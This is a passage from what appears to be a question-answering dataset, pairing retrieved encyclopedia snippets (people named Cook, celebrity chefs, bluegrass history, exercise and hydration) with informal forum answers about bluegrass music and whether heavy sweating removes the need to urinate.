the sunlit path toward justice together, brick by brick. This is my brick.\" As a result, Cook became the first openly gay CEO on the Fortune 500 list. In September 2015, Cook appeared on The Late Show with Stephen Colbert; when asked about what inspired him to publicly reveal his sexual orientation, he responded, \"Where I valued my privacy significantly, I felt that I was valuing it too far above what I could do for other people, so I wanted to tell everyone my truth.\" Philanthropy Despite Forbes", "C.K. defended Cook, saying \"I don't think he stole from me knowingly... I think he sort of got some of my jokes in his head and got sloppy. He's a good guy and not capable of maleficence.\" Personal life Cook has stated that he does not drink or take drugs. Cook's half-brother Darryl was his business manager until 2008, when it was discovered that Darryl and his wife had embezzled millions of dollars from Cook. Both were convicted and sentenced to prison for the embezzlement.\nIn 2017, Cook began dating Kelsi Taylor, who is 26 years his junior.", "eventually returned to film more episodes. While she was still in recovery, Cooking with Dog featured a close acquaintance of Chef's named Shin Kohama (小濱 晋), an actor in the theater troupe Jimo-Koyo.\nOccasional videos also showed Chef outside the kitchen playing with Francis or taking him to be groomed. When asked how she feels about fame, Chef stated that although she does not enjoy being famous, the reaction from fans enjoying the program makes her want to produce more content. The show's Twitter and Facebook feeds also showcase Chef and Kohama's love of food by way of pictures of their", "at Auburn University, Cook emphasized the importance of intuition during significant decision-making processes in his life, and further explained that preparation and hard work are also necessary to execute on intuition.\nOn October 30, 2014, Cook came out as gay and stated in an editorial for Bloomberg Business, \"I'm proud to be gay, and I consider being gay among the greatest gifts God has given me.\" Cook also explained that he has been open about his sexuality \"for years\" and, while many people at Apple were aware of his sexual orientation, he sought to focus on Apple's products and customers rather", "made her so successful as a hostess. A later cookbook author, Molly Finn, summed it up in these words:\nThe best thing about The Joy of Cooking, however, is the voice of its author, Irma Rombauer. She engages in a constant dialogue with her readers, telling stories about herself and her family, sprinkling the text with genuine witticisms and excruciatingly corny puns, and making sure everybody knows that cooking is not an occult science or esoteric art, but part of the everyday work of the vast majority of women (and a few men) that can be turned into fun with her", "Cook's Greatest Hits, in which Cook revisited and updated a number of his more memorable stories. Cook revealed in 2007 that he had received death threats as a result of the series.\nThe programme and its production team won eleven national and international awards, culminating in a British Academy of Film & Television Arts (BAFTA) special award for its presenter in 1997 'for 25 years of outstanding quality investigative reporting'. Other activities Cook has published several books including an autobiography, Dangerous Ground, and was interviewed about his book, Roger Cook's Ten Greatest Con-Men (co-written with Tim Tate) on Radio 5 Live", "cooking by TV food stars, those stars' frauds and follies and himself for being part of the circus. He's still mad; that's where his energy and eloquence come from. It's the best part of who he is. Happily, that anger is still white and pure after all these years; it burns away all the impurities of the food-media fog that is now his habitat.", "on to reply, she stated: \"I would rather be hated every damn day of my life for being real than loved for being something I'm not.\" In a backstage interview before the finale, she said:\n\nTonight is a representation of the end of a chapter in my life; it's not the end of the book. I will do everything possible to make my mark on this industry, and Danity Kane and [Combs] provided me with this amazing opportunity to go out and really touch people's hearts. I think the way that we were able to inspire people was something that I", "one has ever led to a second. The reason for this is her negativity and her inability to loosen up and express herself. She is, however, completely oblivious of her faults and cannot comprehend why she is so bad when it comes to love.\nChae Mu-Ryong (Jae Hee) is an aspiring chef with a passion for French cuisine. He has an innate ability when it comes to taste and perfection. Every piece of food and every plate he prepares must be perfect. However this tends to get him into a lot of trouble because when working in a kitchen every moment", "Cook described the incident – as well as how dejected he felt and his resulting determination to someday return to the Boston Garden and perform successfully someday – as part of a web series for The Tonight Show entitled \"Worst I Ever Bombed\". 1990s In 1994, Cook moved to New York City and began performing. Two years later, he moved to Los Angeles, where he still lives today. His big break came in 1998 when he appeared on Comedy Central's Premium Blend. In 2000, Cook did a half-hour special on Comedy Central Presents. Since then his special has won the", "was upset that two of his friends Cook and Rayvon Owen hadn't made it into the top six, with those results all delivered on live TV. Alexander was visibly upset and called the situation \"whack\", something Cook later characterized as heroic, \"Quentin is a very emotional person. He's very 'all cards on the table.' There is no sugar coating. He doesn't hide his emotions. He's honest. He's a raw human being, and I think what happened last night was at the perfect example of that and how emotional he is.\" Cook was eliminated in the 'Top 6' week and Alexander", "she is not a trained chef, and does not like being referred to as a \"celebrity chef\". Furthermore, she does not see herself as a cook or an expert in her field. Throughout Lawson's television programmes, she emphasises that she cooks for her own pleasure, for enjoyment, and that she finds cooking therapeutic. When deciding upon which recipes to feature in her books, she takes the view of the eater, stating, \"If it's something I don't want to carry on eating once I'm full, then I don't want the recipe ... I have to feel that I want to cook", "asked about his opinion of Cook on The Howard Stern Show, comedian Nick DiPaolo said \"he doesn't make me laugh, but that doesn't mean he's not funny.\" On Boston radio station WBCN, Dane Cook was named by radio show Toucher and Rich to a tournament of the top 16 \"Worst Comedians\" and, based on listener voting, was voted the \"Worst Comedian\" of all. In the Michigan Daily, Elie Zwiebel and co-author Jesse Bean wrote that \"he's managed to become one of the most overrated comics ever\" and that his act is \"boringly stagnant\". In an interview with Jason Tanamor of", "the airing of Boiling Point, which followed Ramsay's quest of earning three Michelin stars, the chef has also become infamous for his fiery temper and use of expletives. Ramsay once famously ejected food critic A. A. Gill, whose dining companion was Joan Collins, from his restaurant, leading Gill to state that \"Ramsay is a wonderful chef, just a really second-rate human being.\" Ramsay admitted in his autobiography that he did not mind if Gill insulted his food, but a personal insult he was not going to stand for. Ramsay has also had confrontations with his kitchen staff, including one incident", "with whatever help they need. He is consistently the only adult in town who the boys held in high regard, and they view him as their friend. They are also visibly saddened his presence in their lives is threatened. In addition to being fans of his food (especially his trademark Salisbury steak), the boys often heartily anticipate encountering Chef when waiting in the school lunch line, so that they can explain whatever dilemma is affecting them, usually after their traditional greeting:\nChef: Hello there, children!\nThe boys [in unison]: Hey Chef!\nChef: How's it goin'?\nThe boys [one or in unison]: Bad.\nChef: Why \"bad\"?\nThe", "series, he is best friends with both Freddie and JJ, although at times, his sexual relationship with Effy Stonem drives a rift between them. Despite his self-destructive lifestyle, Cook is sometimes caring and kind-hearted - as seen in his fondness for JJ, and his kindness to Naomi and Pandora when they are in tough times. Series 3 In \"Everyone\", Cook, Freddie and JJ meet Effy the morning before they start college, all instantly falling for her. During roll-call the first day, Cook flirts with Naomi, who ignores his attempts. Effy sets Cook and Freddie a challenge: whoever breaks the college", "Wodehouse, Adams, Vonnegut, John Irving, Arthur Conan Doyle, Jack Handey, Al Franken, that sort of thing. Those sorts of guys. Tina Fey. Aaron Sorkin.\"\nIn another interview with Brian Palmer, he professed his admiration for the British comedy show Look Around You and also stated, \"I haven't seen anything that tops Mr. Show.\"\nIn regards to the influence of the culinary culture, Onstad said that he always enjoyed eating food. Onstad said that when he met his wife, she was \"a bit more of a cook\" than he was; she had traveled to Italy to study abroad. Since he was, in his", "he treated all contestants with friendliness and respect. Ramsay further stated he would often meet with eliminated contestants after their departure from the show, offering positive criticism and advice. Staff and production members further affirmed that in real life, Ramsay was a sociable and friendly person and most of the on-camera drama is played out for the benefit of the audience. Awards and nominations Hell's Kitchen has been nominated for three Primetime Emmy Awards in the Outstanding Art Direction for Variety, Music or Nonfiction Programming category in 2007, 2008, and 2009. It has also been nominated for two Art Directors", "40 years at the University of Illinois, he was best remembered by neighbors for hosting cookouts where he would prepare food for his friends, many of whom were unaware of his accomplishments at the university. He would always ask his guests if they liked the hamburger bun toasted (since he liked his that way). He enjoyed playing golf and going on picnics with his family. Lillian Hoddeson, a University of Illinois historian who wrote a book on Bardeen, said that because he \"differed radically from the popular stereotype of 'genius' and was uninterested in appearing other than ordinary, the", "during an interview with the Herald Sun stating: \"She's a bit of a vixen, but is quite down to earth as well. When you first see her, she's trying to impress everybody – she's dressed up, her hair is done and there's a lot of make-up, But gradually she feels more comfortable in Ramsay St and realises she doesn't have to do that, so the real her emerges.\" Defending her 'man eating' ways she added: \"She does have a bit of sexual prowess but also has a very big heart and she's not coming from a really bad place. She's", "fan because he felt he had \"matured\".\nAccusations of plagiarism\nComedian Joe Rogan claimed that Cook performed a bit on an episode of Premium Blend that Rogan had developed on I'm Gonna Be Dead Someday, and claimed to have performed the routine earlier in clubs with Cook present. In 2010 Rogan had Cook as a guest on his podcast, telling him that he was a \"good dude\" and that he was \"...glad we put all that shit past and hung out...I think you are doing some awesome shit.\" Cook replied: \"That means the world hearing that from you Joe...you've got a", "in 2017.\nRamsay has been criticised for his frequent use of strong language on his programmes, first by British celebrity cook Delia Smith, then, in relation to Ramsay's Kitchen Nightmares, by a member of the Federal Parliament of Australia. In his autobiography, Ramsay himself said he was unaware of the extent of his swearing until he watched an episode of Boiling Point. While he stated he did not have a problem with it, \"Mum was appalled\".\nOn 5 June 2009, Ramsay started trading national TV insults with Australia's Nine Network, A Current Affair journalist Tracy Grimshaw. The day after his interview, he", "news as well as cultural events and combines them with irreverent humor and creative recipes. This results in unusual dinner themes, like Empty Nesting, The Mueller Report, North Korean Disarmament, Government Shutdowns, Transgender Bathrooms,, Gun Control, Occupy Wall Street, the Gulf Oil Spill and TSA Patdowns as well as his frequent Crazy Oscar Dinners, which cleverly incorporated the names of Academy Award nominees into the menu. He recently prepared \"Candidate Cocktails\" lampooning the 2016 Republican Presidential Field on Fox News' late night program Redeye. He earned a Gourmet Cooking Certification in 2016.\nLobley recently reunited with his college rock group The" ]

[ "In the most basic sense, Bluegrass is a type of folk music with specific instruments, specific singing/harmonies and generally includes group playing interspersed with solos (called 'breaks') by each instrument (banjo, fiddle, mandolin, acoustic bass, guitar). the part of the drum in, say, a rock and roll band is usually taken up by the mandolin (bill Monroe's instrument) playing a chop on the offbeat and by the bass (and occasionally guitar). there are different variations (although Monroe often called those \"no part of nothin'\") that either are or are not considered \"real\" bluegrass depending on how strict the \"bluegrass police\" are in the neighborhood.\n\nOther folk musics exist that have different criteria -- old time, traditional irish, Cajun, Quebecois, gypsy, klezmer, Breton ... usually grouped as \"world music\" when there were music stores. They also have their do's and don't's and their trad \"police\" but bluegrass is generally better known.", "Folk is a catch all phrase for a lot of music genres. It's descended from European musical traditions. Bluegrass is specific to the Appalachian region in the US. The most distinctive part of Bluegrass is the instruments. There's a mandolin, bango, fiddle, and dobro (which is more of a recent addition) that make distinctive sounds during the music. A typical song with include a jam session or solo of any one (or more) of these instruments. The most identifiable sound is a bang played in a three finger picking style, which was popularized by Monroe's bango player.\n\nBluegrass music differs from country or folk in a number of ways besides the instruments. It's played at an almost alarming tempo. The singing involves a lot of sophisticated harmonies. As previously mentioned, there's a lot of solo work but it usually demonstrates a lot of skill especially with the tempo." ]

[ "(Flatwoods). However, its depth lies in its signature sound — Bluegrass music. Bill Monroe, \"The Father of Bluegrass\", was born in the small Ohio County town of Rosine, while Ricky Skaggs, Keith Whitley, David \"Stringbean\" Akeman, Louis Marshall \"Grandpa\" Jones, Sonny and Bobby Osborne, and Sam Bush (who has been compared to Monroe) all hail from Kentucky. The International Bluegrass Music Museum is located in Owensboro, while the annual Festival of the Bluegrass is held in Lexington.\nKentucky is also home to famed jazz musician and pioneer, Lionel Hampton (although this has been disputed in recent years). Blues legend W.C. Handy", "(\"One Love/People Get Ready\"), and protest songs (\"One Tin Soldier\"). This break from bluegrass tradition was not well received in some quarters—some thought it wasn't the way Bill Monroe meant for Bluegrass to be played. \"Our reason for doing the newer-type music wasn't pretentious or irreverent or sarcastic or disrespectful,\" explained Curtis Burch. \"We just felt like people were ready to see that you could really expand the sound, using those same instruments.\" (Monroe was a fan of New Grass Revival.) In 1979, they became the backup group and opening act for Leon Russell, further alienating them from the", "\"mountaineer\" string band music known as bluegrass had emerged when Bill Monroe joined with Lester Flatt and Earl Scruggs, introduced by Roy Acuff at the Grand Ole Opry. That was the ordination of bluegrass music and how Bill Monroe became to be known as the \"Father of Bluegrass.\" Gospel music, too, remained a popular component of bluegrass and other sorts of country music. Red Foley, the biggest country star following World War II, had one of the first million-selling gospel hits (\"Peace in the Valley\") and also sang boogie, blues and rockabilly. In the post-war period, country music was called", "Bluegrass music Bluegrass music is a form of American roots music, and a related genre of country music. Influenced by the music of Appalachia, Bluegrass has mixed roots in Irish, Scottish, Welsh, and English traditional music, and was also later influenced by the music of African-Americans through incorporation of jazz elements.\nSettlers from the United Kingdom and Ireland arrived in Appalachia during the 18th century, and brought with them the musical traditions of their homelands. These traditions consisted primarily of English and Scottish ballads—which were essentially unaccompanied narrative—and dance music, such as Irish reels, which were accompanied by a fiddle.", "taken. This contrasts with bluegrass music which was developed in the 1940s as a form of concert music. Bluegrass music, however, developed from old-time music, and shares many of the same songs and instruments, but is more oriented toward solo performance than is old-time music.\nWhile in the British Isles reels and jigs both remain popular, the reel is by far the predominant metric structure preferred by old-time musicians in the United States (though a few hornpipes are also still performed). Canadian musicians, particularly in the Maritime provinces where the Scottish influence is strong, perform both reels and jigs (as well", "played on the Opry in 1939 and soon became a popular touring band featuring a vocalist named Lester Flatt. The name \"bluegrass\" stuck and eventually became the eponym for this entire genre of county music and Monroe became known as \"the father of bluegrass.\"\nWhen Scruggs was 21, Monroe was looking for a banjo player for his group, because David \"Stringbean\" Akeman was quitting. At the time, banjo players often functioned in the band as comedians, and the instrument was often held as a prop — their clawhammer playing was almost inaudible. Monroe, along with band member Lester Flatt, auditioned several banjo", "with the melody. This style has since become one of the most important guitar styles in bluegrass, as important in the genre as flamenco is to Spanish guitar, or shuffles are to early rock and roll. While in early bluegrass the guitar was regarded as a novelty item, almost every modern bluegrass band has a lead guitar player.", "\"first-generation\" bluegrass legends, such as Bill Monroe's fiddle player, Bobby Lester, as well as Buddy Pendleton who performed with Monroe, and Mac Wiseman who played with both Monroe and Earl Flatt and Lester Scruggs. He's also played with Ricky Lee—Will Lee's father—who played with Ralph Stanley, as well as Doc Watson's partner Jack Lawrence. He's appeared with John Starling of Seldom Scene, Mike Seeger, Tony Rice, and the late Vassar Clements. He has also picked with some of the newer generation bluegrass greats such as Darol Anger, two-time Grammy Winner Curtis Burch of New Grass Revival, and", "Paul Hébert (musician) Paul Hébert (born July 26, 1971) is one of the rare francophone references in the bluegrass idiom which has been predominantly English. In 2007, the “L'Acadie Nouvelle” newspaper dubbed him “Le Roi du Bluegrass” or “The King of Bluegrass”. Bio Paul Hébert was born into a musical family in Rogersville, New Brunswick, halfway between the Acadian Peninsula and Moncton. He first learned guitar which quickly became his preferred instrument, playing mostly traditional music. He later learned and mastered the mandolin which often becomes his main instrument on stage.\nPaul Hébert has been a regular guest on the", "to move into the mainstream, musicians and industry executives sought to deemphasize the genre's Appalachian connections, most notably by dropping the term \"hillbilly music\" in favor of \"country.\" In the late 1980s, artists such as Dolly Parton, Ricky Skaggs, and Dwight Yoakam helped to bring traditional Appalachian influences back to country music.\nBluegrass developed in the 1940s from a mixture of several types of music, including old-time, country, ad blues. The music's creation is often credited to Bill Monroe and his band, the Blue Grass Boys. One of the defining characteristics of bluegrass—the fast-paced three-finger banjo picking style—was", "Bill Emerson (musician) William Hundley \"Bill\" Emerson, Jr. (born January 22, 1938 in Washington, D.C.) is an American five-string banjo player known for being one of the founding members of the original The Country Gentlemen and Emerson & Waldron and considered one of the finest bluegrass banjo players in music history.\nNote: The bluegrass musician named Bill Emerson written about on this biography page is often confused with another country musician named Bill Emerson (known as \"Wild Bill Emerson\") who was also born in 1938. As a result, bluegrass musician Bill Emerson is frequently incorrectly attributed to songs on", "developed by Monroe's banjo player, North Carolina native Earl Scruggs. Later, as a member of Flatt and Scruggs and the Foggy Mountain Boys, Scruggs wrote Foggy Mountain Breakdown, one of the most well-known bluegrass instrumentals. Bluegrass quickly grew in popularity among numerous musicians in Appalachia, including the Stanley Brothers, the Osborne Brothers, and Jimmy Martin, and although it was influenced by various music forms from inside and outside the region (Monroe himself was from Western Kentucky), it is often associated with Appalachia and performed alongside old-time and traditional music at Appalachian folk festivals. \nAppalachian music has also influenced", "development in the bluegrass world is Neo-traditional bluegrass; exemplified by bands such as The Grascals and Mountain Heart, bands from this subgenre typically have more than one lead singer. Bluegrass music has attracted a diverse following worldwide. Bluegrass pioneer Bill Monroe characterized the genre as: \"Scottish bagpipes and ole-time fiddlin'. It's Methodist and Holiness and Baptist. It's blues and jazz, and it has a high lonesome sound.\" Opera In the early years of the century, Wagnerian chromatic harmony was extended by opera composers such as Richard Strauss (Salome, 1905; Elektra, 1906–1908; Der Rosenkavalier, 1910; Ariadne auf Naxos, 1912; Die Frau", "music, and his band was a training ground for most of bluegrass' future stars, especially Lester Flatt and Earl Scruggs. Flatt and Scruggs popularized bluegrass as part of the Foggy Mountain Boys, which they formed in 1948. Though bluegrass has never quite achieved mainstream status, it did become well known through its use in several recorded plays, including the T.V. theme song for Beverly Hillbillies and the movies Bonnie and Clyde and Deliverance. In the 1950s, bluegrass artists included Stanley Brothers, Osborne Brothers and Jimmy Martin's Sunny Mountain Boys. Country music The 1950s also saw the popular dominance of the", "been popular choices for bluegrass bassists. Most bluegrass bassists use the ​³⁄₄ size bass, but the full-size and ​⁵⁄₈ size basses are also used.\nEarly pre-bluegrass traditional music was often accompanied by the cello. The cellist Natalie Haas points out that in the US, you can find \"...old photographs, and even old recordings, of American string bands with cello\". However, \"The cello dropped out of sight in folk music, and became associated with the orchestra.\" The cello did not reappear in bluegrass until the 1990s and first decade of the 21st century. Some contemporary bluegrass bands favor the electric bass, because", "to be considered by fans and critics as one of the best bluegrass groups in the United States by the end of 1964.\nA number of authors have noted that the Colonels' virtuoso guitarist Clarence White permanently expanded the language of bluegrass guitar with his flatpicking style on Appalachian Swing! Writing for the AllMusic website, Thom Owens called the album \"revolutionary\", noting that it was \"one of the most influential albums in the whole of bluegrass music, primarily because of the stunning playing of Clarence White. With his vibrant, innovative flat-picking, White helped pioneer a new style in bluegrass; namely, he", "Byrds. Planned show with Bill Monroe This lineup can be considered as a bluegrass supergroup, a term not often used with bluegrass. The original start of the group was connected with Bill Monroe, as Richard Greene (who played for his Bluegrass Boys before), was asked to put a band together to join him in a television program. However, Monroe's bus had some technical problems and Muleskinner had to play the whole evening on their own and it was a success. Recording contract All this resulted in a recording contract with Warner Bros. and the band recorded its first studio", "bluegrass in New England.\"\nIt was Bill Monroe's fiddler Tex Logan who coined the name \"Joe Val\".\nIn 1970, Joe Val formed his own band, the New England Bluegrass Boys, bringing in Herb Applin (guitar/vocals), Bob French (banjo), and Bob Tidwell (bass). The band recorded their first album One Morning In May in 1972, a tied first bluegrass release for Rounder Records. Joe was the first bluegrass artist signed by Rounder Records, and recorded with them exclusively, releasing albums from 1973 to 1984. Among those that played in the band were guitarists/lead vocalists Dave Dillon and Dave Haney, banjo players Paul Silvius,", "co-wrote Reno & Smiley staples songs \"He Will Forgive You,\" \"Kneel Down\", \"I Never Get To Hold You In My Arms Anymore\" and \"Jimmy Caught the Dickens (Pushing Ernest in the Tub).\"\nBeginning in the 1960s, Haney began to lump some of the bluegrass and country acts together on the same stage.\n With the help of Ralph Rinzler in 1965, Haney produced the first weekend-long bluegrass music festival, held at Cantrell’s Horse Farm in Fincastle, Virginia. This multi-day model became the standard format for bluegrass festivals and there are now more than 500 such events annually. Haney continued staging the festival", "They have been noted for their tenacity and their cultural contributions to the United States. Folk and gospel music American bluegrass and country music styles have some of their roots in the Appalachian ballad culture of Scotch-Irish Americans (predominantly originating from the \"Border Ballad\" tradition of southern Scotland and northern England). Fiddle tunes from the Scottish repertoire, as they developed in the eighteenth century, spread rapidly into British colonies. However, in many cases, this occurred through the medium of print rather than aurally, explaining the presence of Highland-origin tunes in regions like Appalachia where there was essentially no Highland settlement.", "blues and African American banjo with traditional American songs began to develop. Bill Monroe, a Kentucky fiddler and mandolin player, was the first to bring all of the elements of this new genre together. Monroe developed a distinctive style of mandolin playing which emphasized strong syncopation and chording, and played in keys, such as E and B, seldom used by old-time and country musicians. He and his band, the Blue Grass Boys, played at the Grand Old Opry in late 1939 to popular acclaim, and other bands began to incorporate the new \"bluegrass\" music into their repertoires. Mandolin players in", "of Bluegrass festivals about 300 Bluegrass Bands performed once or more than once. A list of names of Bluegrass Bands can be found HERE. Bluegrass international Bluegrass is originally from Northern America. Therefore the main language is English. Among others a few big names in the world of Bluegrass are Bill Monroe, Earl Scruggs, Ralph Stanley, and Lester Flatt.\nIn Europe there is a chain of Bluegrass festivals. An overview made by EBMA in 2011 can be found here.", "was released by Briar International under the title The New Sound of Bluegrass America in early 1963.\nAround this time, Clarence's flatpicking guitar style was becoming a much more prominent part of the group's music. After attending a performance by Doc Watson at the Ash Grove folk club in Los Angeles, where he also met the guitarist, Clarence began to explore the possibilities of the acoustic guitar's role in bluegrass music. At that time, the guitar was largely regarded as a rhythm instrument in bluegrass, with only a few performers, such as Doc Watson, exploring its potential for", "bluegrass.\nCooke notes that The Dead South's release of \"In Hell I'll Be In Good Company\" is labelled as bluegrass, but has caused fans to question whether the label is appropriate or not. He argues that since bluegrass has been influenced by Irish, Scottish, and African American music, the definition of bluegrass as a genre has become blurred. Awards and nominations Apart from Illusion and Doubt peaking at number five on the US Billboard Bluegrass chart, it also entered the top 30 on the US Country iTunes Chart.\nAdditionally, The Dead South received in 2015 the \"Road Gold\" certification from Canadian Independent", "Bluegrass mandolin Bluegrass mandolin is a style of mandolin playing most commonly heard in bluegrass bands. History At the beginning of the twentieth century, mandolin orchestras were popular throughout North America. Large numbers of mandolins were sold, particularly by the Gibson Guitar Company, which manufactured and promoted a new type of flat-backed mandolin. After a time, the mandolin orchestra craze died out, but the mandolins remained. In the southern United States, they began to be used in the performance of traditional mountain folk music.\nAt the end of the 1930s, a new musical genre which combined Scottish and Irish fiddle tunes,", "bluegrass drawn from work by American musicians of the early days of the genre, including Bill Monroe, Flatt and Scruggs, Jimmy Martin, and all the usual suspects. Current scene The range of \"bluegrass\" expressions in the Czech Republic is wide. All the streams of emulation and innovation persist, serving different needs and sub-communities. An interesting current phenomenon is the growing streams of bluegrass music and materials that are exported from the country. \nCzech bluegrass bands of the more traditionalist variety tour to some degree in the U.S., but find it more practical to limit their travel to", "artists such as Flatt and Scruggs, Doyle Lawson and Quicksilver, the Country Gentlemen, and the Nitty Gritty Dirt Band.\nOn Buckaroo Bluegrass, Murphey offers new versions of his famous Bluegrass songs, such as \"Carolina in the Pines\", \"Fiddlin' Man\", \"Lost River\", and \"What Am I Doing Hanging Around\". Murphey also includes new Bluegrass versions of several of his classics, such as \"Boy from the Country\", \"Dancing in the Meadow\", and \"Healing Spring\". The album includes two new songs, \"Close to the Land\", the theme song of the PBS documentary television series America's Heartland, and \"Lone Cowboy\", a song that reflects Murphey's", "in the Family II\", which is displayed at the Sherrod Library at East Tennessee State University. John Scruggs is pictured between Bill Monroe, \"the Father of bluegrass music\", and Earl Scruggs, who popularized his own style the 5-string banjo picking in the 20th century. The mural displays the important role that African-American musicians have played in the evolution of American music. It shows also that racially diverse musicians are all members of the same family.", "delineate the concept of folk dance.\nThe term is attributed to Marshall and Jean Stearns (1968), who used this term to characterize jazz dance (in its \"street\" form, in contrast to the show biz form).", "Bill Monroe Memorial Festival The Bean Blossom Festival, later the Bill Monroe Memorial Festival, was an early bluegrass music festival held annually in Beanblossom, Indiana. The Bean Blossom festival was known for its jam sessions including well-known bluegrass musicians. History The Bean Blossom Festival was founded in 1966 by Bill Monroe, who is considered by many to be the originator of the bluegrass genre.\nIn 1973, an album of live music, titled Bean Blossom, was recorded at the festival. By 1974, about 20,000 people were attending the festival each year.\nMany well-known bluegrass musicians and bands have performed at the festival, including" ]

[ "Yes and no? You can sweat so much you dehydrate. Part of this is your body pulling any water it can and it can do this from the kidneys too. What's left however is all the chemicals your body normally flushes in urine(notice how sometimes it is yellow or even VERY yellow?) and these will build up to unhealthy levels if you are dehydrated for a long time.\n\ntl:dr you won't need to urinate in the short term but you still need to in the long term.", "In a nutshell, unless you are extremely dehydrated, it would not be possible to sweat so much that you would not need to urinate. Urine is made via the excretory system which filters blood through your kidneys. Your nephrons (functional units of the kidney) reabsorb useful ions and secrete unneeded ions in addition to keeping your body's water level balanced. This is something your sweat glands cannot do. Your sweat glands release water as a mechanism to prevent your body from over heating. If you sweat profusely, the most that will probably happen is you will have highly concentrated urine in an effort to conserve water in your body.", "Your kidneys excrete important waste products. The goal of the kidneys is to conserve water not get rid of it. The kidneys concentrate the waste products to get rid of as much of the bad stuff as possible while keeping water.", "No. If your bladder is full, it's full. Sweating doesn't make water come out of your bladder. So sweating won't eliminate the need to urinate, if you already have that need.\n\nBut sweating can lead to dehydration, which can reduce the fill rate of your bladder. Thus, if you don't already need to urinate, or at least not very badly, then sweating can sort of reduce the need.\n\nSo basically if you are about to wet your pants then no amount of sweating is going to help. But if you want to slow any growing need to pee, then sweating might help.", "You urinate for two reasons, to remove excess water and to remove waste products.\n\nIf you were overhydrated, sweat could take care of the excess water and delay the need to urinate. But sweating will do nothing to remove most waste products." ]

[ "reduce lactic acid buildup. Another obvious benefit to water exercise is the cooling effect of the water on the system. The average temperature around 78 degrees in a group fitness pool, this temperature will force the body to burn calories to stay at homeostasis while also maintaining a cool, comfortable atmosphere with less sweat noticeable to the participant.\nThe mitigation of gravity makes water aerobics safe for individuals able to keep their heads out of water, including the elderly. Exercise in water can also prevent overheating through continuous cooling of the body. Older people are more prone to arthritis, osteoporosis,", "73% lower). People doing heavy exercise may lose two and half times as much fluid in sweat as urine. This can have profound physiological effects. Cycling for 2 hours in the heat (35 °C) with minimal fluid intake causes body mass decline by 3 to 5%, blood volume likewise by 3 to 6%, body temperature to rise constantly, and in comparison with proper fluid intake, higher heart rates, lower stroke volumes and cardiac outputs, reduced skin blood flow, and higher systemic vascular resistance. These effects are largely eliminated by replacing 50 to 80% of the fluid lost in sweat. Brain At", "the exercise is performed in a hot environment. The effects of hypohydration may vary, depending on whether it is induced through diuretics or sauna exposure, which substantially reduce plasma volume, or prior exercise, which has much less impact on plasma volume. Hypohydration reduces aerobic endurance, but its effects on muscle strength and endurance are not consistent and require further study. Intense prolonged exercise produces metabolic waste heat, and this is removed by sweat-based thermoregulation. A male marathon runner loses each hour around 0.83 L in cool weather and 1.2 L in warm (losses in females are about 68 to", "based on sweat evaporation. One gram of sweat can remove 2,598 J of heat energy. Another mechanism is increased skin blood flow during exercise that allows for greater convective heat loss that is aided by our upright posture. This skin based cooling has resulted in humans acquiring an increased number of sweat glands, combined with a lack of body fur that would otherwise stop air circulation and efficient evaporation. Because humans can remove exercise heat, they can avoid the fatigue from heat exhaustion that affects animals chased in a persistent manner, and so eventually catch them. Selective breeding experiments with", "physiological benefit over water during weight training. However, high-intensity exercise for a continuous duration of at least one hour may require the replenishment of electrolytes which a sports drink may provide.\n'Sports drinks' that contain simple carbohydrates & water do not cause ill effects, but are most likely unnecessary for the average trainee.\nInsufficient hydration may cause lethargy, soreness or muscle cramps. The urine of well-hydrated persons should be nearly colorless, while an intense yellow color is normally a sign of insufficient hydration. Other precautions Anyone beginning an intensive physical training program is typically advised to consult a physician, because of possible", "reducing fluid consumption to avoid fluid retention before, during, and after exercise.\nHowever, since this can risk dehydration, an alternative approach is possible of consuming a substantial amount of salt prior to exercise. It is still important not to overconsume water to the extent of requiring urination, because urination would cause the extra salt to be excreted. The Role of Thirst In a published statement of the Third International Exercise-Associated Hyponatremia Consensus Development Conference, researchers concluded that drinking in accordance with the sensation of thirst is sufficient for preventing both dehydration and hyponatremia. This advice is contradicted by the American College", "Athletic incontinence Athletic incontinence (athletic leakage, athletic leaks, exercise-induced urinary incontinence) is the specific form of urinary incontinence that results from engaging in high-impact or strenuous activities. Unlike stress incontinence, which is defined as the loss of small amounts of urine associated with sneezing, laughing or exercising, athletic incontinence occurs exclusively during exercise. Athletic incontinence is generally thought to be the result of decreased structural support of the pelvic floor due to increased abdominal pressure during high-impact exercise. As such exercises that build and develop the pelvic floor may be an important step to counteracting athletic incontinence. In addition to", "exercise, can contribute towards urinary complaints. \nParsons is a urologic oncologist.", "incontinence. Efforts to increase the time between urination, known as bladder training, is recommended in those with urge incontinence. Both these may be used in those with mixed incontinence.\nSmall vaginal cones of increasing weight may be used to help with exercise. They seem to be better than no active treatment in women with stress urinary incontinence, and have similar effects to training of pelvic floor muscles or electrostimulation.\nBiofeedback uses measuring devices to help the patient become aware of his or her body's functioning. By using electronic devices or diaries to track when the bladder and urethral muscles contract, the patient", "by the salt and residue left behind after sweat evaporates. If sweat is allowed to dry, and exercise is resumed, the salt may intensify the friction and cause further irritation. Other contributing factors include hot weather, sensitive skin, sand from the beach getting into problem areas, and prior skin irritation. Prevention and treatment Staying dry may keep the skin from the developing further chafing, although this can be next to impossible in hot weather and requires avoiding exercise. Certain products such as baby powder, potato flour or antiperspirant may help with keeping the problem areas dry. An alternative to staying", "flow to the muscles is also lower in cold water, but exercise keeps the muscle warm and flow elevated even when the skin is chilled. Blood flow to fat normally increases during exercise, but this is inhibited by immersion in cold water. Adaptation to cold reduces the extreme vasoconstriction which usually occurs with cold water immersion. Variations in perfusion distribution do not necessarily affect respiratory inert gas exchange, though some gas may be locally trapped by changes in perfusion. Rest in a cold environment will reduce inert gas exchange from skin, fat and muscle, whereas exercise will increase gas exchange.", "majority of mammals, including humans, rely on evaporative cooling to maintain body temperature. Most medium-to-large mammals rely on panting, while humans rely on sweating, to dissipate heat. Advantages of panting include cooler skin surface, little salt loss, and heat loss by forced convection instead of reliance on wind or other means of convection. On the other hand, sweating is advantageous in that evaporation occurs over a much larger surface area (the skin), and it is independent of respiration, thus is a much more flexible mode of cooling during intense activity such as running. Because human sweat glands are under a", "and Bennett, Shankly cottoned on to the importance of allowing players to cool down after training before having a bath or shower. Paisley as a trained physiotherapist argued that a person needs to cool down for about forty minutes after heavy exercise because, if they go into a bath while still sweating, their pores remain open and they are more susceptible to chills and strains. Fagan had advocated getting changed at Anfield before going via team bus to the club's training complex at Melwood. They would return to bath, change and eat. This routine satisfied the need for a cooling", "blood vessels within the body to conserve heat. The body detects an increase in the blood pressure and inhibits the release of vasopressin (also known as antidiuretic hormone (ADH)), causing an increase in the production of urine. The pressure component is caused by the hydrostatic pressure of the water directly increasing blood pressure. Its significance is indicated by the fact that the temperature of the water does 